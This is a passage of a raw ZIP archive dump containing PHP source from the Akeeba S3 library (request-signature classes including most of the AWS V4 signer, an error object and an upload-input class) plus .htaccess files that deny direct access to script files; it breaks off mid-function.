 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3;

// Protection against direct access
defined('AKEEBAENGINE') || die();

/**
 * Base class for request signing objects.
 */
abstract class Signature
{
	/**
	 * The request we will be signing
	 *
	 * @var  Request
	 */
	protected $request = null;

	/**
	 * Signature constructor.
	 *
	 * @param   Request  $request  The request we will be signing
	 */
	public function __construct(Request $request)
	{
		$this->request = $request;
	}

	/**
	 * Get a signature object for the request
	 *
	 * @param   Request  $request  The request which needs signing
	 * @param   string   $method   The signature method, "v2" or "v4"
	 *
	 * @return  Signature
	 */
	public static function getSignatureObject(Request $request, string $method = 'v2'): self
	{
		$className = __NAMESPACE__ . '\\Signature\\' . ucfirst($method);

		return new $className($request);
	}

	/**
	 * Returns the authorization header for the request
	 *
	 * @return  string
	 */
	abstract public function getAuthorizationHeader(): string;

	/**
	 * Pre-process the request headers before we convert them to cURL-compatible format. Used by signature engines to
	 * add custom headers, e.g. x-amz-content-sha256
	 *
	 * @param   array  $headers     The associative array of headers to process
	 * @param   array  $amzHeaders  The associative array of amz-* headers to process
	 *
	 * @return  void
	 */
	abstract public function preProcessHeaders(array &$headers, array &$amzHeaders): void;

	/**
	 * Get a pre-signed URL for the request. Typically used to pre-sign GET requests to objects, i.e. give shareable
	 * pre-authorized URLs for downloading files from S3.
	 *
	 * @param   integer|null  $lifetime  Lifetime in seconds. NULL for default lifetime.
	 * @param   bool          $https     Use HTTPS ($hostBucket should be false for SSL verification)?
	 *
	 * @return  string  The authenticated URL, complete with signature
	 */
	abstract public function getAuthenticatedURL(?int $lifetime = null, bool $https = false): string;
}
PK     \;    '  vendor/akeeba/s3/src/Response/Error.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3\Response;

// Protection against direct access
defined('AKEEBAENGINE') || die();

/**
 * S3 response error object
 */
class Error
{
	/**
	 * Error code
	 *
	 * @var  int
	 */
	private $code = 0;

	/**
	 * Error message
	 *
	 * @var  string
	 */
	private $message = '';

	/**
	 * URI to the resource that throws the error
	 *
	 * @var  string
	 */
	private $resource = '';

	/**
	 * Create a new error object
	 *
	 * @param   int     $code      The error code
	 * @param   string  $message   The error message
	 * @param   string  $resource  The URI to the resource throwing the error
	 *
	 * @return  void
	 */
	function __construct($code = 0, $message = '', $resource = '')
	{
		$this->setCode($code);
		$this->setMessage($message);
		$this->setResource($resource);
	}

	/**
	 * Get the error code
	 *
	 * @return  int
	 */
	public function getCode(): int
	{
		return $this->code;
	}

	/**
	 * Set the error code
	 *
	 * @param   int  $code  Set to zeroo or a negative value to clear errors
	 *
	 * @return  void
	 */
	public function setCode(int $code): void
	{
		if ($code <= 0)
		{
			$code = 0;
			$this->setMessage('');
			$this->setResource('');
		}

		$this->code = $code;
	}

	/**
	 * Get the error message
	 *
	 * @return  string
	 */
	public function getMessage(): string
	{
		return $this->message;
	}

	/**
	 * Set the error message
	 *
	 * @param   string  $message  The error message to set
	 *
	 * @return  void
	 */
	public function setMessage(string $message): void
	{
		$this->message = $message;
	}

	/**
	 * Get the URI of the resource throwing the error
	 *
	 * @return  string
	 */
	public function getResource(): string
	{
		return $this->resource;
	}

	/**
	 * Set the URI of the resource throwing the error
	 *
	 * @param   string  $resource
	 *
	 * @return  void
	 */
	public function setResource(string $resource): void
	{
		$this->resource = $resource;
	}

	/**
	 * Do we actually have an error?
	 *
	 * @return  bool
	 */
	public function isError(): bool
	{
		return ($this->code > 0) || !empty($this->message);
	}
}
PK     \Sʉ      '  vendor/akeeba/s3/src/Response/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \=ݖ.>  .>    vendor/akeeba/s3/src/Input.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3;

// Protection against direct access
defined('AKEEBAENGINE') || die();

/**
 * Defines an input source for PUT/POST requests to Amazon S3
 */
class Input
{
	/**
	 * Input type: resource
	 */
	public const INPUT_RESOURCE = 1;

	/**
	 * Input type: file
	 */
	public const INPUT_FILE = 2;

	/**
	 * Input type: raw data
	 */
	public const INPUT_DATA = 3;

	/**
	 * File pointer, in case we have a resource
	 *
	 * @var  resource
	 */
	private $fp = null;

	/**
	 * Absolute filename to the file
	 *
	 * @var  string
	 */
	private $file = null;

	/**
	 * Data to upload, as a string
	 *
	 * @var  string
	 */
	private $data = null;

	/**
	 * Length of the data to upload
	 *
	 * @var  int
	 */
	private $size = -1;

	/**
	 * Content type (MIME type)
	 *
	 * @var  string|null
	 */
	private $type = '';

	/**
	 * MD5 sum of the data to upload, as base64 encoded string. If it's false no MD5 sum will be returned.
	 *
	 * @var  string|null
	 */
	private $md5sum = null;

	/**
	 * SHA-256 sum of the data to upload, as lowercase hex string.
	 *
	 * @var  string|null
	 */
	private $sha256 = null;

	/**
	 * The Upload Session ID used for multipart uploads
	 *
	 * @var  string|null
	 */
	private $UploadID = null;

	/**
	 * The part number used in multipart uploads
	 *
	 * @var  int|null
	 */
	private $PartNumber = null;

	/**
	 * The list of ETags used when finalising a multipart upload
	 *
	 * @var  string[]
	 */
	private $etags = [];

	/**
	 * Create an input object from a file (also: any valid URL wrapper)
	 *
	 * @param   string       $file       Absolute file path or any valid URL fopen() wrapper
	 * @param   null|string  $md5sum     The MD5 sum. null to auto calculate, empty string to never calculate.
	 * @param   null|string  $sha256sum  The SHA256 sum. null to auto calculate.
	 *
	 * @return  Input
	 */
	public static function createFromFile(string $file, ?string $md5sum = null, ?string $sha256sum = null): self
	{
		$input = new Input();

		$input->setFile($file);
		$input->setMd5sum($md5sum);
		$input->setSha256($sha256sum);

		return $input;
	}

	/**
	 * Create an input object from a stream resource / file pointer.
	 *
	 * Please note that the contentLength cannot be calculated automatically unless you have a seekable stream resource.
	 *
	 * @param   resource     $resource       The file pointer or stream resource
	 * @param   int          $contentLength  The length of the content in bytes. Set to -1 for auto calculation.
	 * @param   null|string  $md5sum         The MD5 sum. null to auto calculate, empty string to never calculate.
	 * @param   null|string  $sha256sum      The SHA256 sum. null to auto calculate.
	 *
	 * @return  Input
	 */
	public static function createFromResource(&$resource, int $contentLength, ?string $md5sum = null, ?string $sha256sum = null): self
	{
		$input = new Input();

		$input->setFp($resource);
		$input->setSize($contentLength);
		$input->setMd5sum($md5sum);
		$input->setSha256($sha256sum);

		return $input;
	}

	/**
	 * Create an input object from raw data.
	 *
	 * Please bear in mind that the data is being duplicated in memory. Therefore you'll need at least 2xstrlen($data)
	 * of free memory when you are using this method. You can instantiate an object and use assignData to work around
	 * this limitation when handling large amounts of data which may cause memory outages (typically: over 10Mb).
	 *
	 * @param   string       $data       The data to use.
	 * @param   null|string  $md5sum     The MD5 sum. null to auto calculate, empty string to never calculate.
	 * @param   null|string  $sha256sum  The SHA256 sum. null to auto calculate.
	 *
	 * @return  Input
	 */
	public static function createFromData(string &$data, ?string $md5sum = null, ?string $sha256sum = null): self
	{
		$input = new Input();

		$input->setData($data);
		$input->setMd5sum($md5sum);
		$input->setSha256($sha256sum);

		return $input;
	}

	/**
	 * Destructor.
	 */
	function __destruct()
	{
		if (is_resource($this->fp))
		{
			try
			{
				@fclose($this->fp);
			}
			catch (\Throwable $e)
			{
			}
		}
	}

	/**
	 * Returns the input type (resource, file or data)
	 *
	 * @return  int
	 */
	public function getInputType(): int
	{
		if (!empty($this->file))
		{
			return self::INPUT_FILE;
		}

		if (!empty($this->fp))
		{
			return self::INPUT_RESOURCE;
		}

		return self::INPUT_DATA;
	}

	/**
	 * Return the file pointer to the data, or null if this is not a resource input
	 *
	 * @return  resource|null
	 */
	public function getFp()
	{
		if (!is_resource($this->fp))
		{
			return null;
		}

		return $this->fp;
	}

	/**
	 * Set the file pointer (or, generally, stream resource)
	 *
	 * @param   resource  $fp
	 */
	public function setFp($fp): void
	{
		if (!is_resource($fp))
		{
			throw new Exception\InvalidFilePointer('$fp is not a file resource');
		}

		$this->fp = $fp;
	}

	/**
	 * Get the absolute path to the input file, or null if this is not a file input
	 *
	 * @return  string|null
	 */
	public function getFile(): ?string
	{
		if (empty($this->file))
		{
			return null;
		}

		return $this->file;
	}

	/**
	 * Set the absolute path to the input file
	 *
	 * @param   string  $file
	 */
	public function setFile(string $file): void
	{
		$this->file = $file;
		$this->data = null;

		if (is_resource($this->fp))
		{
			try
			{
				@fclose($this->fp);
			}
			catch (\Throwable $e)
			{
			}
		}

		$this->fp = @fopen($file, 'r');

		if ($this->fp === false)
		{
			throw new Exception\CannotOpenFileForRead($file);
		}
	}

	/**
	 * Return the raw input data, or null if this is a file or stream input
	 *
	 * @return  string|null
	 */
	public function getData(): ?string
	{
		if (empty($this->data) && ($this->getInputType() != self::INPUT_DATA))
		{
			return null;
		}

		return $this->data;
	}

	/**
	 * Set the raw input data
	 *
	 * @param   string  $data
	 */
	public function setData(string $data): void
	{
		$this->data = $data;

		if (is_resource($this->fp))
		{
			try
			{
				@fclose($this->fp);
			}
			catch (\Throwable $e)
			{
			}
		}

		$this->file = null;
		$this->fp   = null;
	}

	/**
	 * Return a reference to the raw input data
	 *
	 * @return  string|null
	 */
	public function &getDataReference(): ?string
	{
		if (empty($this->data) && ($this->getInputType() != self::INPUT_DATA))
		{
			$this->data = null;
		}

		return $this->data;
	}

	/**
	 * Set the raw input data by doing an assignment instead of memory copy. While this conserves memory you cannot use
	 * this with hardcoded strings, method results etc without going through a variable first.
	 *
	 * @param   string  $data
	 */
	public function assignData(string &$data): void
	{
		$this->data = $data;

		if (is_resource($this->fp))
		{
			try
			{
				@fclose($this->fp);
			}
			catch (\Throwable $e)
			{
			}
		}

		$this->file = null;
		$this->fp   = null;
	}

	/**
	 * Returns the size of the data to be uploaded, in bytes. If it's not already specified it will try to guess.
	 *
	 * @return  int
	 */
	public function getSize(): int
	{
		if ($this->size < 0)
		{
			$this->size = $this->getInputSize();
		}

		return $this->size;
	}

	/**
	 * Set the size of the data to be uploaded.
	 *
	 * @param   int  $size
	 */
	public function setSize(int $size)
	{
		$this->size = $size;
	}

	/**
	 * Get the MIME type of the data
	 *
	 * @return  string|null
	 */
	public function getType(): ?string
	{
		if (empty($this->type))
		{
			$this->type = 'application/octet-stream';

			if ($this->getInputType() == self::INPUT_FILE)
			{
				$this->type = $this->getMimeType($this->file);
			}
		}

		return $this->type;
	}

	/**
	 * Set the MIME type of the data
	 *
	 * @param   string|null  $type
	 */
	public function setType(?string $type)
	{
		$this->type = $type;
	}

	/**
	 * Get the MD5 sum of the content
	 *
	 * @return  null|string
	 */
	public function getMd5sum(): ?string
	{
		if ($this->md5sum === '')
		{
			return null;
		}

		if (is_null($this->md5sum))
		{
			$this->md5sum = $this->calculateMd5();
		}

		return $this->md5sum;
	}

	/**
	 * Set the MD5 sum of the content as a base64 encoded string of the raw MD5 binary value.
	 *
	 * WARNING: Do not set a binary MD5 sum or a hex-encoded MD5 sum, it will result in an invalid signature error!
	 *
	 * Set to null to automatically calculate it from the raw data. Set to an empty string to force it to never be
	 * calculated and no value for it set either.
	 *
	 * @param   string|null  $md5sum
	 */
	public function setMd5sum(?string $md5sum): void
	{
		$this->md5sum = $md5sum;
	}

	/**
	 * Get the SHA-256 hash of the content
	 *
	 * @return  string
	 */
	public function getSha256(): string
	{
		if (empty($this->sha256))
		{
			$this->sha256 = $this->calculateSha256();
		}

		return $this->sha256;
	}

	/**
	 * Set the SHA-256 sum of the content. It must be a lowercase hexadecimal encoded string.
	 *
	 * Set to null to automatically calculate it from the raw data.
	 *
	 * @param   string|null  $sha256
	 */
	public function setSha256(?string $sha256): void
	{
		$this->sha256 = is_null($sha256) ? null : strtolower($sha256);
	}

	/**
	 * Get the Upload Session ID for multipart uploads
	 *
	 * @return  string|null
	 */
	public function getUploadID(): ?string
	{
		return $this->UploadID;
	}

	/**
	 * Set the Upload Session ID for multipart uploads
	 *
	 * @param   string|null  $UploadID
	 */
	public function setUploadID(?string $UploadID): void
	{
		$this->UploadID = $UploadID;
	}

	/**
	 * Get the part number for multipart uploads.
	 *
	 * Returns null if the part number has not been set yet.
	 *
	 * @return  int|null
	 */
	public function getPartNumber(): ?int
	{
		return $this->PartNumber;
	}

	/**
	 * Set the part number for multipart uploads
	 *
	 * @param   int  $PartNumber
	 */
	public function setPartNumber(int $PartNumber): void
	{
		// Clamp the part number to integers greater than zero.
		$this->PartNumber = max(1, (int) $PartNumber);
	}

	/**
	 * Get the list of ETags for multipart uploads
	 *
	 * @return  string[]
	 */
	public function getEtags(): array
	{
		return $this->etags;
	}

	/**
	 * Set the list of ETags for multipart uploads
	 *
	 * @param   string[]  $etags
	 */
	public function setEtags(array $etags): void
	{
		$this->etags = $etags;
	}

	/**
	 * Calculates the upload size from the input source. For data it's the entire raw string length. For a file resource
	 * it's the entire file's length. For seekable stream resources it's the remaining data from the current seek
	 * position to EOF.
	 *
	 * WARNING: You should never try to specify files or resources over 2Gb minus 1 byte otherwise 32-bit versions of
	 * PHP (anything except Linux x64 builds) will fail in unpredictable ways: the internal int representation in PHP
	 * depends on the target platform and is typically a signed 32-bit integer.
	 *
	 * @return  int
	 */
	private function getInputSize(): int
	{
		switch ($this->getInputType())
		{
			case self::INPUT_DATA:
				return function_exists('mb_strlen') ? mb_strlen($this->data ?? '', '8bit') : strlen($this->data ?? '');
				break;

			case self::INPUT_FILE:
				clearstatcache(true, $this->file);

				$filesize = @filesize($this->file);

				return ($filesize === false) ? 0 : $filesize;
				break;

			case self::INPUT_RESOURCE:
				$meta = stream_get_meta_data($this->fp);

				if ($meta['seekable'])
				{
					$pos    = ftell($this->fp);
					$endPos = fseek($this->fp, 0, SEEK_END);
					fseek($this->fp, $pos, SEEK_SET);

					return $endPos - $pos + 1;
				}

				break;
		}

		return 0;
	}

	/**
	 * Get the MIME type of a file
	 *
	 * @param   string  $file  The absolute path to the file for which we want to get the MIME type
	 *
	 * @return  string  The MIME type of the file
	 */
	private function getMimeType(string $file): string
	{
		$type = false;

		// Fileinfo documentation says fileinfo_open() will use the
		// MAGIC env var for the magic file
		if (extension_loaded('fileinfo') && isset($_ENV['MAGIC']) &&
			($finfo = finfo_open(FILEINFO_MIME, $_ENV['MAGIC'])) !== false
		)
		{
			if (($type = finfo_file($finfo, $file)) !== false)
			{
				// Remove the charset and grab the last content-type
				$type = explode(' ', str_replace('; charset=', ';charset=', $type));
				$type = array_pop($type);
				$type = explode(';', $type);
				$type = trim(array_shift($type));
			}

			finfo_close($finfo);
		}
		elseif (function_exists('mime_content_type'))
		{
			$type = trim(mime_content_type($file));
		}

		if ($type !== false && strlen($type) > 0)
		{
			return $type;
		}

		// Otherwise do it the old fashioned way
		static $exts = [
			'jpg'  => 'image/jpeg',
			'gif'  => 'image/gif',
			'png'  => 'image/png',
			'tif'  => 'image/tiff',
			'tiff' => 'image/tiff',
			'ico'  => 'image/x-icon',
			'swf'  => 'application/x-shockwave-flash',
			'pdf'  => 'application/pdf',
			'zip'  => 'application/zip',
			'gz'   => 'application/x-gzip',
			'tar'  => 'application/x-tar',
			'bz'   => 'application/x-bzip',
			'bz2'  => 'application/x-bzip2',
			'txt'  => 'text/plain',
			'asc'  => 'text/plain',
			'htm'  => 'text/html',
			'html' => 'text/html',
			'css'  => 'text/css',
			'js'   => 'text/javascript',
			'xml'  => 'text/xml',
			'xsl'  => 'application/xsl+xml',
			'ogg'  => 'application/ogg',
			'mp3'  => 'audio/mpeg',
			'wav'  => 'audio/x-wav',
			'avi'  => 'video/x-msvideo',
			'mpg'  => 'video/mpeg',
			'mpeg' => 'video/mpeg',
			'mov'  => 'video/quicktime',
			'flv'  => 'video/x-flv',
			'php'  => 'text/x-php',
		];

		$ext = strtolower(pathInfo($file, PATHINFO_EXTENSION));

		return $exts[$ext] ?? 'application/octet-stream';
	}

	/**
	 * Calculate the MD5 sum of the input data
	 *
	 * @return  string  Base-64 encoded MD5 sum
	 */
	private function calculateMd5(): string
	{
		switch ($this->getInputType())
		{
			case self::INPUT_DATA:
				return base64_encode(
					function_exists('hash')
						? hash('md5', $this->data, true)
						: md5($this->data, true)
				);
				break;

			case self::INPUT_FILE:
				return base64_encode(
					function_exists('hash_file')
						? hash_file('md5', $this->file, true)
						: md5_file($this->file, true)
				);
				break;

			case self::INPUT_RESOURCE:
				$ctx   = hash_init('md5');
				$pos   = ftell($this->fp);
				$size  = $this->getSize();
				$done  = 0;
				$batch = min(1048576, $size);

				while ($done < $size)
				{
					$toRead = min($batch, $done - $size);
					$data   = @fread($this->fp, $toRead);
					hash_update($ctx, $data);
					unset($data);
				}

				fseek($this->fp, $pos, SEEK_SET);

				return base64_encode(hash_final($ctx, true));

				break;
		}

		return '';
	}

	/**
	 * Calcualte the SHA256 data of the input data
	 *
	 * @return  string  Lowercase hex representation of the SHA-256 sum
	 */
	private function calculateSha256(): string
	{
		$inputType = $this->getInputType();
		switch ($inputType)
		{
			case self::INPUT_DATA:
				return hash('sha256', $this->data, false);
				break;

			case self::INPUT_FILE:
			case self::INPUT_RESOURCE:
				if ($inputType == self::INPUT_FILE)
				{
					$filesize = @filesize($this->file);
					$fPos     = @ftell($this->fp);

					if (($filesize == $this->getSize()) && ($fPos === 0))
					{
						return hash_file('sha256', $this->file, false);
					}
				}

				$ctx   = hash_init('sha256');
				$pos   = ftell($this->fp);
				$size  = $this->getSize();
				$done  = 0;
				$batch = min(1048576, $size);

				while ($done < $size)
				{
					$toRead = min($batch, $size - $done);
					$data   = @fread($this->fp, $toRead);
					$done   += $toRead;
					hash_update($ctx, $data);
					unset($data);
				}

				fseek($this->fp, $pos, SEEK_SET);

				return hash_final($ctx, false);

				break;
		}

		return '';
	}
}
PK     \Sʉ        vendor/akeeba/s3/src/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \`ܢkF  kF  %  vendor/akeeba/s3/src/Signature/V4.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3\Signature;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Akeeba\S3\Signature;
use DateTime;

/**
 * Implements the Amazon AWS v4 signatures
 *
 * @see http://docs.aws.amazon.com/general/latest/gr/signature-version-4.html
 */
class V4 extends Signature
{
	/**
	 * Pre-process the request headers before we convert them to cURL-compatible format. Used by signature engines to
	 * add custom headers, e.g. x-amz-content-sha256
	 *
	 * @param   array  $headers     The associative array of headers to process
	 * @param   array  $amzHeaders  The associative array of amz-* headers to process
	 *
	 * @return  void
	 */
	public function preProcessHeaders(array &$headers, array &$amzHeaders): void
	{
		// Do we already have an SHA-256 payload hash?
		if (isset($amzHeaders['x-amz-content-sha256']))
		{
			return;
		}

		// Set the payload hash header
		$input = $this->request->getInput();

		if (is_object($input))
		{
			$requestPayloadHash = $input->getSha256();
		}
		else
		{
			$requestPayloadHash = hash('sha256', '', false);
		}

		$amzHeaders['x-amz-content-sha256'] = $requestPayloadHash;
	}

	/**
	 * Get a pre-signed URL for the request. Typically used to pre-sign GET requests to objects, i.e. give shareable
	 * pre-authorized URLs for downloading files from S3.
	 *
	 * @param   integer|null  $lifetime  Lifetime in seconds. NULL for default lifetime.
	 * @param   bool          $https     Use HTTPS ($hostBucket should be false for SSL verification)?
	 *
	 * @return  string  The presigned URL
	 */
	public function getAuthenticatedURL(?int $lifetime = null, bool $https = false): string
	{
		// Set the Expires header
		if (is_null($lifetime))
		{
			$lifetime = 10;
		}

		/**
		 * Authenticated URLs must always go through the generic regional endpoint, not the virtual hosting-style domain
		 * name. This means that if you have a bucket "example" in the EU West 1 (Ireland) region we have to go through
		 * http://s3-eu-west-1.amazonaws.com/example instead of http://example.amazonaws.com/ for all authenticated URLs
		 */
		$region   = $this->request->getConfiguration()->getRegion();
		$bucket   = $this->request->getBucket();
		$hostname = $this->getPresignedHostnameForRegion($region);

		if (!$this->request->getConfiguration()->getPreSignedBucketInURL() && $this->isValidBucketName($bucket))
		{
			$hostname = $bucket . '.' . $hostname;
		}

		$this->request->setHeader('Host', $hostname);

		// Set the expiration time in seconds
		$this->request->setHeader('Expires', (int) $lifetime);

		// Get the query parameters, including the calculated signature
		$uri              = $this->request->getResource();
		$headers          = $this->request->getHeaders();
		$protocol         = $https ? 'https' : 'http';
		$serialisedParams = $this->getAuthorizationHeader();

		// The query parameters are returned serialized; unserialize them, then build and return the URL.
		$queryParameters = unserialize($serialisedParams);

		// This should be toggleable
		if (
			!$this->request->getConfiguration()->getPreSignedBucketInURL()
			&& $this->isValidBucketName($bucket)
			&& strpos($uri, '/' . $bucket) === 0)
		{
			$uri = substr($uri, strlen($bucket) + 1);
		}

		$query = http_build_query($queryParameters);

		$url = $protocol . '://' . $headers['Host'] . $uri;
		$url .= (strpos($uri, '?') !== false) ? '&' : '?';
		$url .= $query;

		return $url;
	}

	/**
	 * Returns the authorization header for the request
	 *
	 * @return  string
	 */
	public function getAuthorizationHeader(): string
	{
		$verb           = strtoupper($this->request->getVerb());
		$resourcePath   = $this->request->getResource();
		$headers        = $this->request->getHeaders();
		$amzHeaders     = $this->request->getAmzHeaders();
		$parameters     = $this->request->getParameters();
		$bucket         = $this->request->getBucket();
		$isPresignedURL = false;

		// See the Connector class for the explanation behind this ugly workaround
		$amazonIsBraindead = isset($headers['workaround-braindead-error-from-amazon']);

		if ($amazonIsBraindead)
		{
			unset ($headers['workaround-braindead-error-from-amazon']);
		}

		// Get the credentials scope
		$signatureDate = new DateTime($headers['Date'] ?? $amzHeaders['x-amz-date']);

		$credentialScope = $signatureDate->format('Ymd') . '/' .
		                   $this->request->getConfiguration()->getRegion() . '/' .
		                   's3/aws4_request';

		/**
		 * If the Expires header is set up we're pre-signing a download URL. The string to sign is a bit
		 * different in this case and we have to pass certain headers as query string parameters.
		 *
		 * @see http://docs.aws.amazon.com/general/latest/gr/sigv4-create-string-to-sign.html
		 */
		if (isset($headers['Expires']))
		{
			$gmtDate = clone $signatureDate;
			$gmtDate->setTimezone(new \DateTimeZone('GMT'));

			$parameters['X-Amz-Algorithm']  = "AWS4-HMAC-SHA256";
			$parameters['X-Amz-Credential'] = $this->request->getConfiguration()->getAccess() . '/' . $credentialScope;
			$parameters['X-Amz-Date']       = $gmtDate->format('Ymd\THis\Z');
			$parameters['X-Amz-Expires']    = sprintf('%u', $headers['Expires']);
			$token                          = $this->request->getConfiguration()->getToken();

			if (!empty($token))
			{
				$parameters['x-amz-security-token'] = $token;
			}

			unset($headers['Expires']);
			unset($headers['Date']);
			unset($headers['Content-MD5']);
			unset($headers['Content-Type']);

			$isPresignedURL = true;
		}

		// ========== Step 1: Create a canonical request ==========
		// See http://docs.aws.amazon.com/general/latest/gr/sigv4-create-canonical-request.html

		$canonicalHeaders   = "";
		$signedHeadersArray = [];

		// Calculate the canonical headers and the signed headers
		if ($isPresignedURL)
		{
			// Presigned URLs use UNSIGNED-PAYLOAD instead
			unset($amzHeaders['x-amz-content-sha256']);
		}

		$allHeaders = array_merge($headers, $amzHeaders);
		ksort($allHeaders);

		foreach ($allHeaders as $k => $v)
		{
			$lowercaseHeaderName = strtolower($k);

			if ($amazonIsBraindead && ($lowercaseHeaderName == 'content-length'))
			{
				/**
				 * I know it looks crazy. It is. Somehow Amazon requires me to do this and only on _some_ servers, mind
				 * you. This is something undocumented and which is not covered by their official SDK. I had to write
				 * my own library because of that and the official SDK's inability to upload large files without using
				 * at least as much memory as the file itself (which doesn't fly well for files around 2Gb, let me tell
				 * you that!).
				 */
				$v = "$v,$v";
			}

			$canonicalHeaders     .= $lowercaseHeaderName . ':' . trim($v) . "\n";
			$signedHeadersArray[] = $lowercaseHeaderName;
		}

		$signedHeaders = implode(';', $signedHeadersArray);

		if ($isPresignedURL)
		{
			$parameters['X-Amz-SignedHeaders'] = $signedHeaders;
		}

		// The canonical URI is the resource path
		$canonicalURI     = $resourcePath;
		$bucketResource   = '/' . $bucket . '/';
		$regionalHostname = ($headers['Host'] != 's3.amazonaws.com')
		                    && ($headers['Host'] != $bucket . '.s3.amazonaws.com');

		/**
		 * Yet another special case for third party, S3-compatible services, when using pre-signed URLs.
		 *
		 * Given a bucket `example` and filepath `foo/bar.txt` the canonical URI to sign is supposed to be
		 * /example/foo/bar.txt regardless of whether we are using path style or subdomain hosting style access to the
		 * bucket.
		 *
		 * When calculating a pre-signed URL, the URL we will be accessing will be something to the tune of
		 * example.endpoint.com/foo/bar.txt. Amazon S3 proper allows us to use EITHER the nominal canonical URI
		 * /foo/bar.txt OR the /example/foo/bar.txt canonical URI for consistency. Some third party providers, like
		 * Wasabi, will choke on the former and complain about the signature being invalid.
		 *
		 * To address this issue we check if all the following conditions are met:
		 * - We are calculating a signature for a pre-signed URL.
		 * - The service is NOT Amazon S3 proper.
		 * - The domain name starts with the bucket name.
		 * In this case, and this case only, we set $regionalHostname to false. This triggers an if-block further down
		 * which strips the `/bucketName/` prefix from the canonical URI, converting it to `/`. Therefore, the canonical
		 * URI in the signature becomes the nominal URI we will be accessing in the bucket, solving the problem with
		 * those third party services.
		 */
		// Figuring out whether it's a regional hostname DOES NOT work above if it's not AWS S3 proper. Let's fix that.
		if ($isPresignedURL && strpos($headers['Host'], 'amazonaws.com') === false && !strpos($headers['Host'], $bucket . '.'))
		{
			$regionalHostname = false;
		}

		// Special case: if the canonical URI ends in /?location the bucket name DOES count as part of the canonical URL
		// even though the Host is s3.amazonaws.com (in which case it normally shouldn't count). Yeah, I know, it makes
		// no sense!!!
		if (!$regionalHostname && ($headers['Host'] == 's3.amazonaws.com')
		    && (substr($canonicalURI, -10) == '/?location'))
		{
			$regionalHostname = true;
		}

		if (!$regionalHostname && (strpos($canonicalURI, $bucketResource) === 0 || strpos($canonicalURI, substr($bucketResource, 0, -1)) === 0))
		{
			if ($canonicalURI === substr($bucketResource, 0, -1))
			{
				$canonicalURI = '/';
			}
			else
			{
				$canonicalURI = substr($canonicalURI, strlen($bucketResource) - 1);
			}
		}

		// If the resource path has a query yank it and parse it into the parameters array
		$questionMarkPos = strpos($canonicalURI, '?');

		if ($questionMarkPos !== false)
		{
			$canonicalURI = substr($canonicalURI, 0, $questionMarkPos);
			$queryString  = @substr($canonicalURI, $questionMarkPos + 1);
			@parse_str($queryString, $extraQuery);

			if (count($extraQuery))
			{
				$parameters = array_merge($parameters, $extraQuery);
			}
		}

		// The canonical query string is the string representation of $parameters, alpha sorted by key
		ksort($parameters);

		// We build the query the hard way because http_build_query in PHP 5.3 does NOT have the fourth parameter
		// (encoding type), defaulting to RFC 1738 encoding whereas S3 expects RFC 3986 encoding
		$canonicalQueryString = '';

		if (!empty($parameters))
		{
			$temp = [];

			foreach ($parameters as $k => $v)
			{
				$temp[] = $this->urlencode($k) . '=' . $this->urlencode($v);
			}

			$canonicalQueryString = implode('&', $temp);
		}

		// Get the payload hash
		$requestPayloadHash = 'UNSIGNED-PAYLOAD';

		if (isset($amzHeaders['x-amz-content-sha256']))
		{
			$requestPayloadHash = $amzHeaders['x-amz-content-sha256'];
		}

		// Calculate the canonical request
		$canonicalRequest = $verb . "\n" .
		                    $canonicalURI . "\n" .
		                    $canonicalQueryString . "\n" .
		                    $canonicalHeaders . "\n" .
		                    $signedHeaders . "\n" .
		                    $requestPayloadHash;

		$hashedCanonicalRequest = hash('sha256', $canonicalRequest);

		// ========== Step 2: Create a string to sign ==========
		// See http://docs.aws.amazon.com/general/latest/gr/sigv4-create-string-to-sign.html

		if (!isset($headers['Date']))
		{
			$headers['Date'] = '';
		}

		/**
		 * The Date in the String-to-Sign is a messy situation.
		 *
		 * Amazon's documentation says it must be in ISO 8601 format: `Ymd\THis\Z`. Unfortunately, Amazon's
		 * documentation is actually wrong :troll_face: The actual Amazon S3 service expects the date to be formatted as
		 * per RFC1123.
		 *
		 * Most third party implementations have caught up to the fact that Amazon has documented the v4 signatures
		 * wrongly (naughty AWS!) and accept either format.
		 *
		 * Some other third party implementations, which never bothered to validate their implementations against Amazon
		 * S3 proper, only expect what Amazon has documented as "ISO 8601". Therefore, we detect third party services
		 * and switch to the as-documented date format.
		 *
		 * Some other third party services, like Wasabi, are broken in yet a different way. They will only use the date
		 * from the x-amz-date header, WITHOUT falling back to the Date header if the former is not present. This is
		 * the opposite of Amazon S3 proper which does expect the Date header. That's why the Request class sets both
		 * headers if the request is made to a service _other_ than Amazon S3 proper.
		 */
		$dateToSignFor = strpos($headers['Host'], '.amazonaws.com') !== false
			? (($headers['Date'] ?? null) ?: ($amzHeaders['x-amz-date'] ?? null) ?: $signatureDate->format('Ymd\THis\Z'))
			: $signatureDate->format('Ymd\THis\Z');

		$stringToSign = "AWS4-HMAC-SHA256\n" .
		                $dateToSignFor . "\n" .
		                $credentialScope . "\n" .
		                $hashedCanonicalRequest;

